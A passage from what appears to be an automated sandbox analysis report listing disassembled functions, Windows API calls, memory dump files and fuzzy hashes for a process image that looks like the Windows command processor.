                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$DriveErrorInformationLastTypeVolume
                                                                                      • String ID:
                                                                                      • API String ID: 850181435-0
                                                                                      • Opcode ID: 1c8e67db695c6f6d23b7c0e3cb32e635de602e3492999dee0d50d7fe40b8053d
                                                                                      • Instruction ID: bba52d283aef2bd83f8bc129011b9d7d10fc3bc16419161e66d5707903202d93
                                                                                      • Opcode Fuzzy Hash: 1c8e67db695c6f6d23b7c0e3cb32e635de602e3492999dee0d50d7fe40b8053d
                                                                                      • Instruction Fuzzy Hash: D0416F33608BC1D9F7709F20E8446E9B7A4FB89B44FA58525DA4D8BB48CF38D649C710
                                                                                      Function 00007FF78CF54A14 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1224 7ff78cf54a14-7ff78cf54a3e GetEnvironmentStringsW 1225 7ff78cf54aae-7ff78cf54ac5 1224->1225 1226 7ff78cf54a40-7ff78cf54a46 1224->1226 1227 7ff78cf54a48-7ff78cf54a52 1226->1227 1228 7ff78cf54a59-7ff78cf54a8f GetProcessHeap HeapAlloc 1226->1228 1227->1227 1229 7ff78cf54a54-7ff78cf54a57 1227->1229 1230 7ff78cf54a9f-7ff78cf54aa9 FreeEnvironmentStringsW 1228->1230 1231 7ff78cf54a91-7ff78cf54a9a memmove 1228->1231 1229->1227 1229->1228 1230->1225 1231->1230
                                                                                      APIs
                                                                                      • GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A28
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A66
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A7D
                                                                                      • memmove.MSVCRT(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A9A
                                                                                      • FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54AA2
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: EnvironmentHeapStrings$AllocFreeProcessmemmove
                                                                                      • String ID:
                                                                                      • API String ID: 1623332820-0
                                                                                      • Opcode ID: bedbd02b2e83685aab04dae624747bec3d3f04209153fba6c5d2bef1ca8d2a3e
                                                                                      • Instruction ID: 9f98a0e46f02cd84d488ad48d76e5c1cbae267c25789475bc16c172c1e0f0410
                                                                                      • Opcode Fuzzy Hash: bedbd02b2e83685aab04dae624747bec3d3f04209153fba6c5d2bef1ca8d2a3e
                                                                                      • Instruction Fuzzy Hash: 8B119127A18B8282EE54AF42A404039FFA0FB89F80BA99038DF4E53744DE3DE445C760
                                                                                      Function 00007FF78CF55CB4 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseCodeExitHandleObjectProcessSingleWaitfflushfprintf
                                                                                      • String ID:
                                                                                      • API String ID: 1826527819-0
                                                                                      • Opcode ID: f2fead82e6adea435ca3ec11aeaf7f247f0c9f685b678692693d010e6480eae1
                                                                                      • Instruction ID: adee2bc8171a62fe4b3a3cc73c1ab3a8c90ee77085b6377f1421fb2146c58fe2
                                                                                      • Opcode Fuzzy Hash: f2fead82e6adea435ca3ec11aeaf7f247f0c9f685b678692693d010e6480eae1
                                                                                      • Instruction Fuzzy Hash: B9012D32A08682DAF6047B25E4461B9FA61FF8A751FE4A174E64F06392DF3CA148C720
                                                                                      Function 00007FF78CF53060 Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF51EA0: wcschr.MSVCRT(?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF78CF70D54), ref: 00007FF78CF51EB3
                                                                                      • SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF78CF492AC), ref: 00007FF78CF530CA
                                                                                      • SetErrorMode.KERNELBASE ref: 00007FF78CF530DD
                                                                                      • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF530F6
                                                                                      • SetErrorMode.KERNELBASE ref: 00007FF78CF53106
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorMode$FullNamePathwcschr
                                                                                      • String ID:
                                                                                      • API String ID: 1464828906-0
                                                                                      • Opcode ID: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
                                                                                      • Instruction ID: 748e04db3b5a92236b236819699fdbb30de42ef2f149bc8f0ed4f6850bdeb39e
                                                                                      • Opcode Fuzzy Hash: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
                                                                                      • Instruction Fuzzy Hash: B831E023E0865282F621AF1AA40107EF661FB45B94FF59234EB4AC73D0DE7DE949C710
                                                                                      Function 00007FF78CF4CA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset
                                                                                      • String ID: onecore\base\cmd\maxpathawarestring.cpp
                                                                                      • API String ID: 2221118986-3416068913
                                                                                      • Opcode ID: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
                                                                                      • Instruction ID: 7c5a25b3cbb3ab576e16c4f37784aeba65e0aee344a80fdf7be7ca0bd8474e6e
                                                                                      • Opcode Fuzzy Hash: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
                                                                                      • Instruction Fuzzy Hash: 3C11C623A0868281FF54EB55E1556B9A290BF88BE4FB85231EF6D8B7D5DE3CD140C320
                                                                                      Function 00007FF78CF4BE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memsetwcschr
                                                                                      • String ID: 2$COMSPEC
                                                                                      • API String ID: 1764819092-1738800741
                                                                                      • Opcode ID: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
                                                                                      • Instruction ID: 268857788ddabff476dbe724d8344338c34609b7924fc8abba22aeedb70a4144
                                                                                      • Opcode Fuzzy Hash: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
                                                                                      • Instruction Fuzzy Hash: 5D517223A08A4385FB74BB25A441BB9E395BF84B84FA44031DA0D8A6D7DE3CE444C761
                                                                                      Function 00007FF78CF52EFC Relevance: 4.6, APIs: 3, Instructions: 101COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$ErrorFileFindFirstLastwcsrchr
                                                                                      • String ID:
                                                                                      • API String ID: 4254246844-0
                                                                                      • Opcode ID: 053ef0ea037464bca1c3e1451370ecd30b301868f2ab00a5e1309acbdd43457e
                                                                                      • Instruction ID: cbe94718a912acaf3118e246b11cfa8fc1f920ea2c685aca06cbc4f19d9c429f
                                                                                      • Opcode Fuzzy Hash: 053ef0ea037464bca1c3e1451370ecd30b301868f2ab00a5e1309acbdd43457e
                                                                                      • Instruction Fuzzy Hash: 5D41A323A09B4286FE20AB04E445379EBA0FF85B94FE49531DB4D87785DF3CE645C620
                                                                                      Function 00007FF78CF5498C Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$EnvironmentFreeProcessVariable
                                                                                      • String ID:
                                                                                      • API String ID: 2643372051-0
                                                                                      • Opcode ID: 49892fdbdbb93a03844bd16286cde042899f8d20c3c19ceaef7f6d70d853aae3
                                                                                      • Instruction ID: af10dcce2f74a43c7157d7a57108a1b72758eeb0a87e7d03b5c165e5b6f9a812
                                                                                      • Opcode Fuzzy Hash: 49892fdbdbb93a03844bd16286cde042899f8d20c3c19ceaef7f6d70d853aae3
                                                                                      • Instruction Fuzzy Hash: 4FF0D663A19B8282FB00AB25F505074EAE1FF4D7A0BA5D334D62E43390DE3C9444C220
                                                                                      Function 00007FF78CF55A68 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _get_osfhandle$ConsoleMode
                                                                                      • String ID:
                                                                                      • API String ID: 1591002910-0
                                                                                      • Opcode ID: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
                                                                                      • Instruction ID: cb6ed481bedb2bc2c10ea58dedd6159d6c1a71890c439011e4929d445a467592
                                                                                      • Opcode Fuzzy Hash: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
                                                                                      • Instruction Fuzzy Hash: D4F07A36A19643DBF604AB10E9450B8BBE0FB89711FA48274D90E53320DF3CA415CB21
                                                                                      Function 00007FF78CF5291C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: DriveType
                                                                                      • String ID: :
                                                                                      • API String ID: 338552980-336475711
                                                                                      • Opcode ID: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
                                                                                      • Instruction ID: 1e89a2c877e1f126682fe3effbdd17238ae6c4fb1a19ee18b254f2a2ace286a2
                                                                                      • Opcode Fuzzy Hash: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
                                                                                      • Instruction Fuzzy Hash: 7BE06D6761864087E720AB60E45206AF7A0FB8D358FD51525EA9D83724DB3CD249CF18
                                                                                      Function 00007FF78CF55AD8 Relevance: 3.1, APIs: 2, Instructions: 93COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDA6
                                                                                        • Part of subcall function 00007FF78CF4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDBD
                                                                                      • GetConsoleTitleW.KERNELBASE ref: 00007FF78CF55B52
                                                                                        • Part of subcall function 00007FF78CF54224: InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF78CF54297
                                                                                        • Part of subcall function 00007FF78CF54224: UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF78CF542D7
                                                                                        • Part of subcall function 00007FF78CF54224: memset.MSVCRT ref: 00007FF78CF542FD
                                                                                        • Part of subcall function 00007FF78CF54224: memset.MSVCRT ref: 00007FF78CF54368
                                                                                        • Part of subcall function 00007FF78CF54224: GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF78CF54380
                                                                                        • Part of subcall function 00007FF78CF54224: wcsrchr.MSVCRT ref: 00007FF78CF543E6
                                                                                        • Part of subcall function 00007FF78CF54224: lstrcmpW.KERNELBASE ref: 00007FF78CF54401
                                                                                      • GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF78CF55BC7
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$AttributeConsoleHeapProcThreadTitlewcsrchr$AllocInfoInitializeListProcessStartupUpdate_wcsnicmplstrcmpwcschr
                                                                                      • String ID:
                                                                                      • API String ID: 497088868-0
                                                                                      • Opcode ID: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
                                                                                      • Instruction ID: aafbc7f386aa7cea5212cb13352bc5dfb80bf1668c41f1e0bb123b0b7fa6943e
                                                                                      • Opcode Fuzzy Hash: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
                                                                                      • Instruction Fuzzy Hash: F5318522B0CA4292FA24B721A45557DE291FF89B80FE45031FB4EC7B95DE3CE605C720
                                                                                      Function 00007FF78CF53A0C Relevance: 3.0, APIs: 2, Instructions: 43COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FindClose.KERNELBASE(?,?,?,00007FF78CF6EAC5,?,?,?,00007FF78CF6E925,?,?,?,?,00007FF78CF4B9B1), ref: 00007FF78CF53A56
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseFind
                                                                                      • String ID:
                                                                                      • API String ID: 1863332320-0
                                                                                      • Opcode ID: bab5306cd567feeb86bb0befbcdd41048a3801cd437bd301f39ca3c6803b8cd3
                                                                                      • Instruction ID: 77af65ef24c5b978e530010101cb03d17a5bdba49da684d0e81c1f44cc9084b5
                                                                                      • Opcode Fuzzy Hash: bab5306cd567feeb86bb0befbcdd41048a3801cd437bd301f39ca3c6803b8cd3
                                                                                      • Instruction Fuzzy Hash: 5F01B92AE08683D6F758A759A540175E6A0FF58B40BF0D430E70DD3654DE2CF695C310
                                                                                      Function 00007FF78CF59A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF94000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2148058581.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_6_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Concurrency::cancel_current_taskmalloc
                                                                                      • String ID:
                                                                                      • API String ID: 1412018758-0
                                                                                      • Opcode ID: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
                                                                                      • Instruction ID: 4d8c7df15270b6febd15dabf9ee29f4d96de14146cb3699633fa0a1a759e77a7
                                                                                      • Opcode Fuzzy Hash: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
                                                                                      • Instruction Fuzzy Hash: 89E0ED46F5964B91FE1D3B6268421749354BF59741FBC6430DF1D85382EE2DA3A6C330
                                                                                      Function 00007FF78CF4CD90 Relevance: 2.5, APIs: 2, Instructions: 30memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDA6
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDBD
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000006.00000002.2147936819.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000006.00000002.2147919441.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000006.00000002.2147984148.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
